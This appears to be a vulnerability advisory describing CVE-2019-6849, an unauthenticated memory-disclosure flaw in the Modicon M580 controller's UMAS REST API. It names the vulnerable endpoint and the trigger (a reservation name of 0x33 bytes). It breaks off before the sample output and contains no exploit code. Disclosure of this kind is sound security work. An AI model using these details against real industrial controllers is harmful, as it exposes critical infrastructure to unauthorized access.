CVE-2019-6849
An exploitable information disclosure vulnerability exists in the UMAS REST API getcominfo functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted HTTP request can cause the device to return arbitrary memory, resulting in the potential disclosure of system addresses. An attacker can send unauthenticated commands to trigger this vulnerability.

CWE-200: Information Exposure
The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.
Included in the web server is a REST API that allows clients to interact with various pieces of functionality on the device, including viewing alarms, querying rack information, and performing select UMAS requests. It is possible to read the registered name of the client holding a PLC reservation by leveraging the “/rest/umas/getcominfo” UMAS endpoint. In cases where a client has obtained a reservation using a registered name of 0x33 bytes, arbitrary memory can get returned.
Returned data resembles the following:
